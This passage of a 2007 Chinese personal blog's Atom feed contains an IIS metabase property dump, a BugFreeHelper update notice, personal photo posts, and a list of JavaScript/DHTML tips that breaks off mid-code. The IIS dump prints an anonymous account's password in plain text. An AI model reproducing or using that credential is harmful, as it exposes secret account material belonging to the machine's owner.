		  <summary type="html"><![CDATA[ServerBindings&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IIS虚拟站点绑定的IP、端口、域名<BR>ServerComment&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IIS虚拟站点的名称<BR>MaxConnections&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IIS虚拟站点的最大连接数<BR>AnonymousUserName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;站点用户名<BR>AnonymousUserPass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;站点密码<BR>AccessRead&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;站点读取权限<BR>AccessExecute&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;站点执行权限<BR>AccessWrite&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;站点写入权限<BR>AccessScript&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;脚本<BR>AccessSSL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;支持SSL<BR>AuthBasic&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;支持Basic<BR>AuthNTLM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;支持NTLM<BR>EnableDefaultDoc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;支持索引<BR>EnableDirBrowsing&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目录可浏览<BR>DefaultDoc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;缺省页<BR>Path&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;主目录<BR>AppPoolId&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用程序池<BR>
<P class=ContentAuthor>引用内容</P>
<DIV class=UBBContent>AccessExecute&nbsp;=&nbsp;False<BR>AccessFlags&nbsp;=&nbsp;513<BR>AccessNoPhysicalDir&nbsp;=&nbsp;False<BR>AccessNoRemoteExecute&nbsp;=&nbsp;False<BR>AccessNoRemoteRead&nbsp;=&nbsp;False<BR>AccessNoRemoteScript&nbsp;=&nbsp;False<BR>AccessNoRemoteWrite&nbsp;=&nbsp;False<BR>AccessRead&nbsp;=&nbsp;True<BR>AccessScript&nbsp;=&nbsp;True<BR>AccessSource&nbsp;=&nbsp;False<BR>AccessSSL&nbsp;=&nbsp;False<BR>AccessSSL128&nbsp;=&nbsp;False<BR>AccessSSLFlags&nbsp;=&nbsp;0<BR>AccessSSLMapCert&nbsp;=&nbsp;False<BR>AccessSSLNegotiateCert&nbsp;=&nbsp;False<BR>AccessSSLRequireCert&nbsp;=&nbsp;False<BR>AccessWrite&nbsp;=&nbsp;False<BR>AdminACLBin&nbsp;=&nbsp;<BR>AnonymousPasswordSync&nbsp;=&nbsp;True<BR>AnonymousUserName&nbsp;=&nbsp;IUSR_THINKPAD-X22<BR>AnonymousUserPass&nbsp;=&nbsp;h0jJJ:AA$8|~*0<BR>AppAllowClientDebug&nbsp;=&nbsp;False<BR>AppAllowDebugging&nbsp;=&nbsp;False<BR>AppFriendlyName&nbsp;=&nbsp;默认应用程序<BR>AppOopRecoverLimit&nbsp;=&nbsp;-1<BR>AppPoolId&nbsp;=&nbsp;DefaultAppPool<BR>AppWamClsid&nbsp;=&nbsp;<BR>AspAllowOutOfProcComponents&nbsp;=&nbsp;True<BR>AspAllowSessionState&nbsp;=&nbsp;True<BR>AspAppServiceFlags&nbsp;=&nbsp;0<BR>AspBufferingLimit&nbsp;=&nbsp;4194304<BR>AspBufferingOn&nbsp;=&nbsp;True<BR>AspCalcLineNumber&nbsp;=&nbsp;True<BR>AspCodepage&nbsp;=&nbsp;0<BR>AspDiskTemplateCacheDirectory&nbsp;=&nbsp;%windir%\system32\inetsrv\ASP&nbsp;Compiled&nbsp;Templates<BR>AspEnableApplicationRestart&nbsp;=&nbsp;True<BR>AspEnableAspHtmlFallback&nbsp;=&nbsp;False<BR>AspEnableChunkedEncoding&nbsp;=&nbsp;True<BR>AspEnableParentPaths&nbsp;=&nbsp;False<BR>AspEnableSxs&nbsp;=&nbsp;False<BR>AspEnableTracker&nbsp;=&nbsp;False<BR>AspEnableTypelibCache&nbsp;=&nbsp;True<BR>AspErrorsToNTLog&nbsp;=&nbsp;False<BR>AspExceptionCatchEnable&nbsp;=&nbsp;True<BR>AspExecuteInMTA&nbsp;=&nbsp;0<BR>AspKeepSessionIDSecure&nbsp;=&nbsp;0<BR>AspLCID&nbsp;=&nbsp;2048<BR>AspLogErrorRequests&nbsp;=&nbsp;True<BR>AspMaxDiskTemplateCacheFiles&nbsp;=&nbsp;2000<BR>AspMaxRequestEntityAllowed&nbsp;=&nbsp;204800<BR>AspPartitionID&nbsp;=&nbsp;<BR>AspProcessorThreadMax&nbsp;=&nbsp;25<BR>AspQueueConnectionTestTime&nbsp;=&nbsp;3<BR>AspQueueTimeout&nbsp;=&nbsp;-1<BR>AspRequestQueueMax&nbsp;=&nbsp;3000<BR>AspRunOnEndAnonymously&nbsp;=&nbsp;True<BR>AspScriptEngineCacheMax&nbsp;=&nbsp;250<BR>AspScriptErrorMessage&nbsp;=&nbsp;处理&nbsp;URL&nbsp;时服务器出错。请与系统管理员联系。<BR>AspScriptErrorSentToBrowser&nbsp;=&nbsp;True<BR>AspScriptFileCacheSize&nbsp;=&nbsp;500<BR>AspScriptLanguage&nbsp;=&nbsp;VBScript<BR>AspScriptTimeout&nbsp;=&nbsp;90<BR>AspSessionMax&nbsp;=&nbsp;-1<BR>AspSessionTimeout&nbsp;=&nbsp;20<BR>AspSxsName&nbsp;=&nbsp;<BR>AspTrackThreadingModel&nbsp;=&nbsp;False<BR>AspUsePartition&nbsp;=&nbsp;False<BR>AuthAdvNotifyDisable&nbsp;=&nbsp;True<BR>AuthAnonymous&nbsp;=&nbsp;True<BR>AuthBasic&nbsp;=&nbsp;False<BR>AuthChangeDisable&nbsp;=&nbsp;True<BR>AuthChangeUnsecure&nbsp;=&nbsp;False<BR>AuthChangeURL&nbsp;=&nbsp;/iisadmpwd/achg.asp<BR>AuthExpiredUnsecureURL&nbsp;=&nbsp;/iisadmpwd/aexp3.asp<BR>AuthExpiredURL&nbsp;=&nbsp;/iisadmpwd/aexp.asp<BR>AuthFlags&nbsp;=&nbsp;1<BR>AuthMD5&nbsp;=&nbsp;False<BR>AuthNotifyPwdExpUnsecureURL&nbsp;=&nbsp;/iisadmpwd/anot3.asp<BR>AuthNotifyPwdExpURL&nbsp;=&nbsp;/iisadmpwd/anot.asp<BR>AuthNTLM&nbsp;=&nbsp;False<BR>AuthPassport&nbsp;=&nbsp;False<BR>AuthPersistence&nbsp;=&nbsp;64<BR>AuthPersistSingleRequest&nbsp;=&nbsp;True<BR>AzEnable&nbsp;=&nbsp;False<BR>AzImpersonationLevel&nbsp;=&nbsp;0<BR>AzScopeName&nbsp;=&nbsp;<BR>AzStoreName&nbsp;=&nbsp;<BR>CacheControlCustom&nbsp;=&nbsp;<BR>CacheControlMaxAge&nbsp;=&nbsp;0<BR>CacheControlNoCache&nbsp;=&nbsp;False<BR>CacheISAPI&nbsp;=&nbsp;True<BR>Caption&nbsp;=&nbsp;<BR>CGITimeout&nbsp;=&nbsp;300<BR>ContentIndexed&nbsp;=&nbsp;True<BR>CreateCGIWithNewConsole&nbsp;=&nbsp;False<BR>CreateProcessAsUser&nbsp;=&nbsp;True<BR>DefaultDoc&nbsp;=&nbsp;Default.htm,Default.asp,index.htm,iisstart.htm,Default.aspx<BR>DefaultDocFooter&nbsp;=&nbsp;<BR>DefaultLogonDomain&nbsp;=&nbsp;<BR>Description&nbsp;=&nbsp;<BR>DirBrowseFlags&nbsp;=&nbsp;1073741886<BR>DirBrowseShowDate&nbsp;=&nbsp;True<BR>DirBrowseShowExtension&nbsp;=&nbsp;True<BR>DirBrowseShowLongDate&nbsp;=&nbsp;True<BR>DirBrowseShowSize&nbsp;=&nbsp;True<BR>DirBrowseShowTime&nbsp;=&nbsp;True<BR>DisableStaticFileCache&nbsp;=&nbsp;False<BR>DoDynamicCompression&nbsp;=&nbsp;False<BR>DontLog&nbsp;=&nbsp;False<BR>DoStaticCompression&nbsp;=&nbsp;False<BR>EnableDefaultDoc&nbsp;=&nbsp;True<BR>EnableDirBrowsing&nbsp;=&nbsp;False<BR>EnableDocFooter&nbsp;=&nbsp;False<BR>EnableReverseDns&nbsp;=&nbsp;False<BR>FrontPageWeb&nbsp;=&nbsp;False</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=435" /> 
	  <id>http://www.openx.cn/default.asp?id=435</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[让BugFreeHelper支持BugFree2.0的修改]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-12-26T15:15:36+08:00</updated>
	  <published>2007-12-26T15:15:36+08:00</published>
		  <summary type="html"><![CDATA[<P>修改了BugFree2中的Login.php并添加QueryBug_X.php文件<BR>重新修改了BugFreeHelper中的代码使其又能支持BugFree2.0啦~<BR><BR>BugFree是个很好的开源软件,特此推荐推荐.</P>
<P>&nbsp;</P>
<P>下载地址:http://www.openx.cn/down.asp?downID=21&action=Url_1</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=434" /> 
	  <id>http://www.openx.cn/default.asp?id=434</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[光荣啦!周维两年后见!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2007-12-10T21:16:07+08:00</updated>
	  <published>2007-12-10T21:16:07+08:00</published>
		  <summary type="html"><![CDATA[<P>一个热血青年,投入了部队的大熔炉,特此留影.两年后他会是啥样,我们等你--周维. </P>
<P>[img]/attachments/month0712/kh0n_IMG_71301.JPG[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=433" /> 
	  <id>http://www.openx.cn/default.asp?id=433</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[宝宝见面倒计时~~~嘿嘿~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-12-05T11:00:20+08:00</updated>
	  <published>2007-12-05T11:00:20+08:00</published>
		  <summary type="html"><![CDATA[[img]http://sign.liba.com/img_expected214803_1513531.png[/img]]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=432" /> 
	  <id>http://www.openx.cn/default.asp?id=432</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[javascript小技巧  全了都！]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-11-02T10:35:39+08:00</updated>
	  <published>2007-11-02T10:35:39+08:00</published>
		  <summary type="html"><![CDATA[<UL>
<LI><FONT size=2><STRONG>事件源对象</STRONG> <BR>event.srcElement.tagName <BR>event.srcElement.type</FONT> 
<LI><FONT size=2><STRONG>捕获释放 <BR></STRONG>event.srcElement.setCapture();&nbsp; <BR>event.srcElement.releaseCapture();&nbsp; </FONT>
<LI><FONT size=2><STRONG>事件按键</STRONG> <BR>event.keyCode <BR>event.shiftKey <BR>event.altKey <BR>event.ctrlKey</FONT> 
<LI><FONT size=2><STRONG>事件返回值</STRONG> <BR>event.returnValue</FONT> 
<LI><FONT size=2><STRONG>鼠标位置 <BR></STRONG>event.x <BR>event.y</FONT> 
<LI><FONT size=2><STRONG>窗体活动元素 <BR></STRONG>document.activeElement</FONT> 
<LI><FONT size=2><STRONG>绑定事件</STRONG> <BR>document.captureEvents(Event.KEYDOWN);</FONT> 
<LI><FONT size=2><STRONG>访问窗体元素 <BR></STRONG>document.all("txt").focus(); <BR>document.all("txt").select();</FONT> 
<LI><FONT size=2><STRONG>窗体命令</STRONG> <BR>document.execCommand</FONT> 
<LI><FONT size=2><STRONG>窗体COOKIE <BR></STRONG>document.cookie</FONT> 
<LI><FONT size=2><STRONG>菜单事件</STRONG> <BR>document.oncontextmenu</FONT> 
<LI><FONT size=2><STRONG>创建元素 <BR></STRONG>document.createElement("SPAN");&nbsp; </FONT>
<LI><FONT size=2><STRONG>根据鼠标获得元素： <BR></STRONG>document.elementFromPoint(event.x,event.y).tagName=="TD <BR></FONT><FONT size=2>document.elementFromPoint(event.x,event.y).appendChild(ms)&nbsp; </FONT>
<LI><FONT size=2><STRONG>窗体图片</STRONG> <BR>document.images[索引]</FONT> 
<LI><FONT size=2><STRONG>窗体事件绑定 <BR></STRONG>document.onmousedown=scrollwindow;</FONT> 
<LI><FONT size=2><STRONG>元素</STRONG> <BR>document.窗体.elements[索引]</FONT> 
<LI><FONT size=2><STRONG>对象绑定事件 <BR></STRONG>document.all.xxx.detachEvent('onclick',a);</FONT> 
<LI><FONT size=2><STRONG>插件数目</STRONG> <BR>navigator.plugins</FONT> 
<LI><FONT size=2><STRONG>取变量类型 <BR></STRONG>typeof($js_libpath) == "undefined"</FONT> 
<LI><FONT size=2><STRONG>下拉框 <BR></STRONG></FONT><FONT size=2>下拉框.options[索引] <BR>下拉框.options.length</FONT> 
<LI><FONT size=2><STRONG>查找对象</STRONG> <BR>document.getElementsByName("r1"); <BR>document.getElementById(id); </FONT>
<LI><FONT size=2><STRONG>定时 <BR></STRONG>timer=setInterval('scrollwindow()',delay); <BR>clearInterval(timer);</FONT> 
<LI><FONT size=2><STRONG>UNCODE编码 <BR></STRONG>escape() ,unescape</FONT> 
<LI><FONT size=2><STRONG>父对象</STRONG> <BR>obj.parentElement(dhtml) <BR>obj.parentNode(dom)</FONT> 
<LI><FONT size=2><STRONG>交换表的行 <BR></STRONG>TableID.moveRow(2,1)</FONT><FONT size=2><STRONG> 
<LI><FONT size=2><STRONG>替换CSS</STRONG> <BR></FONT>document.all.csss.href = "a.css";<FONT size=2><STRONG> 
<LI><FONT size=2><STRONG>并排显示</STRONG> <BR></FONT>display:inline<FONT size=2> 
<LI><FONT size=2><STRONG>隐藏焦点 <BR></STRONG>hidefocus=true</FONT> 
<LI><FONT size=2><STRONG>根据宽度换行 <BR></STRONG></FONT>style="word-break:break-all"<FONT size=2> 
<LI><FONT size=2><STRONG>自动刷新 <BR></STRONG>&lt;meta HTTP-EQUIV="refresh" CONTENT="8;URL=http://c98.yeah.net"&gt;</FONT> 
<LI><FONT size=2><STRONG>简单邮件 <BR></STRONG>&lt;a&nbsp; href="</FONT><a href="http://www.openx.cn/mailto:aaa@bbb.com?subject=ccc&body=xxxyyy"><FONT size=2>mailto:aaa@bbb.com?subject=ccc&body=xxxyyy</FONT></A><FONT size=2>"&gt;&nbsp; </FONT>
<LI><FONT size=2><STRONG>快速转到位置 <BR></STRONG></FONT>obj.scrollIntoView(true)<FONT size=2> 
<LI><FONT size=2><STRONG>锚 <BR></STRONG>&lt;a name="first"&gt; <BR>&lt;a href="#first"&gt;anchors&lt;/a&gt;</FONT> 
<LI><FONT size=2><STRONG>网页传递参数 <BR></STRONG>location.search();</FONT> 
<LI><STRONG>可编辑 <BR></STRONG>obj.contenteditable=true 
<LI><FONT size=2><STRONG>执行菜单命令</STRONG> <BR>obj.execCommand</FONT> 
<LI><FONT size=2><STRONG>双字节字符</STRONG> <BR>/[^\x00-\xff]/ <BR>汉字 <BR>/[\u4e00-\u9fa5]/</FONT> 
<LI><STRONG>让英文字符串超出表格宽度自动换行</STRONG> <BR>word-wrap: break-word; word-break: break-all; 
<LI><STRONG>透明背景</STRONG><FONT size=2> <BR>&lt;IFRAME src="1.htm" width=300 height=180 allowtransparency&gt;&lt;/iframe&gt;</FONT> 
<LI><FONT size=2><STRONG>获得style内容 <BR></STRONG>obj.style.cssText</FONT> 
<LI><FONT size=2><STRONG>HTML标签</STRONG> <BR>document.documentElement.innerHTML</FONT> 
<LI><FONT size=2><STRONG>第一个style标签</STRONG> <BR>document.styleSheets[0]</FONT> 
<LI><FONT size=2><STRONG>style标签里的第一个样式</STRONG> <BR>document.styleSheets[0].rules[0]</FONT> 
<LI><STRONG>防止点击空链接时，页面往往重置到页首端。 <BR></STRONG>&lt;a href="javascript:function()"&gt;word&lt;/a&gt; 
<LI><STRONG>上一网页源</STRONG> <BR>asp: <BR>request.servervariables("HTTP_REFERER") <BR><FONT size=2>javascript: <BR>document.referrer </FONT>
<LI><FONT size=2><STRONG>释放内存 <BR></STRONG>CollectGarbage();</FONT> 
<LI><STRONG>禁止右键</STRONG> <BR>document.oncontextmenu = function() { return false;} 
<LI><FONT size=2><STRONG>禁止保存</STRONG> <BR>&lt;noscript&gt;&lt;iframe src="*.htm"&gt;&lt;/iframe&gt;&lt;/noscript&gt; </FONT>
<LI><FONT size=2><STRONG>禁止选取</STRONG>&lt;body&nbsp;oncontextmenu=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&nbsp;ondragstart=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&nbsp;onselectstart&nbsp;=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&nbsp;onselect=<SPAN style="COLOR: #ff00ff">"document.selection.empty()"</SPAN>&nbsp;oncopy=<SPAN style="COLOR: #ff00ff">"document.selection.empty()"</SPAN>&nbsp;onbeforecopy=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>onmouseup=<SPAN style="COLOR: #ff00ff">"document.selection.empty()&gt;</SPAN><SPAN style="COLOR: #ff00ff">&nbsp;</SPAN></FONT> 
<LI><FONT size=2><STRONG>禁止粘贴</STRONG> <BR>&lt;input type=text onpaste="return false"&gt;</FONT> 
<LI><FONT size=2><STRONG>地址栏图标</STRONG> <BR>&lt;link rel="Shortcut Icon" href="favicon.ico"&gt; <BR>favicon.ico 名字最好不变16*16的16色,放虚拟目录根目录下</FONT> 
<LI><FONT size=2><STRONG>收藏栏图标</STRONG> <BR>&lt;link rel="Bookmark" href="favicon.ico"&gt; </FONT>
<LI><FONT size=2><STRONG>查看源码</STRONG> <BR>&lt;input type=button value=查看网页源代码 onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'"&gt; </FONT>
<LI><FONT size=2><STRONG>关闭输入法</STRONG> <BR>&lt;input style="ime-mode:disabled"&gt; </FONT>
<LI><STRONG>自动全选</STRONG> <BR>&lt;input type=text name=text1 value="123" onfocus="this.select()"&gt; 
<LI><FONT size=2><STRONG>ENTER键可以让光标移到下一个输入框 <BR></STRONG>&lt;input onkeydown="if(event.keyCode==13)event.keyCode=9"&gt;</FONT> 
<LI><STRONG>文本框的默认值 <BR></STRONG>&lt;input type=text value="123" onfocus="alert(this.defaultValue)"&gt; 
<LI><STRONG>title换行 <BR></STRONG>obj.title = "123&#13sdfs&#32" 
<LI><FONT size=2><STRONG>获得时间所代表的微秒 <BR></STRONG>var n1 = new Date("2004-10-10".replace(/-/g, "\/")).getTime()</FONT> 
<LI><FONT size=2><STRONG>窗口是否关闭 <BR></STRONG>win.closed </FONT>
<LI><FONT size=2><STRONG>checkbox扁平 <BR></STRONG>&lt;input type=checkbox style="position: absolute; clip:rect(5px 15px 15px 5px)"&gt;&lt;br&gt;</FONT> 
<LI><STRONG>获取选中内容 <BR></STRONG>document.selection.createRange().duplicate().text 
<LI><STRONG>自动完成功能 <BR></STRONG>&lt;input&nbsp; type=text&nbsp; autocomplete=on&gt;打开该功能&nbsp; <BR>&lt;input&nbsp; type=text&nbsp; autocomplete=off&gt;关闭该功能&nbsp;&nbsp;&nbsp; 
<LI><FONT size=2><STRONG>窗口最大化</STRONG> <BR>&lt;body onload="window.resizeTo(window.screen.width - 4,window.screen.height-50);window.moveTo(-4,-4)"&gt;</FONT> 
<LI><FONT size=2><STRONG>无关闭按钮IE <BR></STRONG>window.open("aa.htm", "meizz", "fullscreen=7"); </FONT>
<LI><STRONG>统一编码/解码 <BR></STRONG>alert(decodeURIComponent(encodeURIComponent("http://你好.com?as= hehe"))) <BR>encodeURIComponent对":"、"/"、";" 和 "?"也编码 
<LI><STRONG>表格行指示 <BR></STRONG>&lt;tr onmouseover="this.bgColor='#f0f0f0'" onmouseout="this.bgColor='#ffffff'"&gt; 
<P><BR><STRONG>//各种尺寸</STRONG> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域宽："</SPAN>+&nbsp;&nbsp;document.body.clientWidth;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域高："</SPAN>+&nbsp;&nbsp;document.body.clientHeight;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域高："</SPAN>+&nbsp;&nbsp;document.body.offsetWeight&nbsp;&nbsp;+<SPAN style="COLOR: #ff00ff">"&nbsp;&nbsp;(包括边线的宽)"</SPAN>;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域高："</SPAN>+&nbsp;&nbsp;document.body.offsetHeight&nbsp;&nbsp;+<SPAN style="COLOR: #ff00ff">"&nbsp;&nbsp;(包括边线的宽)"</SPAN>;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文全文宽："</SPAN>+&nbsp;&nbsp;document.body.scrollWidth;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文全文高："</SPAN>+&nbsp;&nbsp;document.body.scrollHeight;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页被卷去的高："</SPAN>+&nbsp;&nbsp;document.body.scrollTop;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页被卷去的左："</SPAN>+&nbsp;&nbsp;document.body.scrollLeft;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文部分上："</SPAN>+&nbsp;&nbsp;window.screenTop;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文部分左："</SPAN>+&nbsp;&nbsp;window.screenLeft;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: 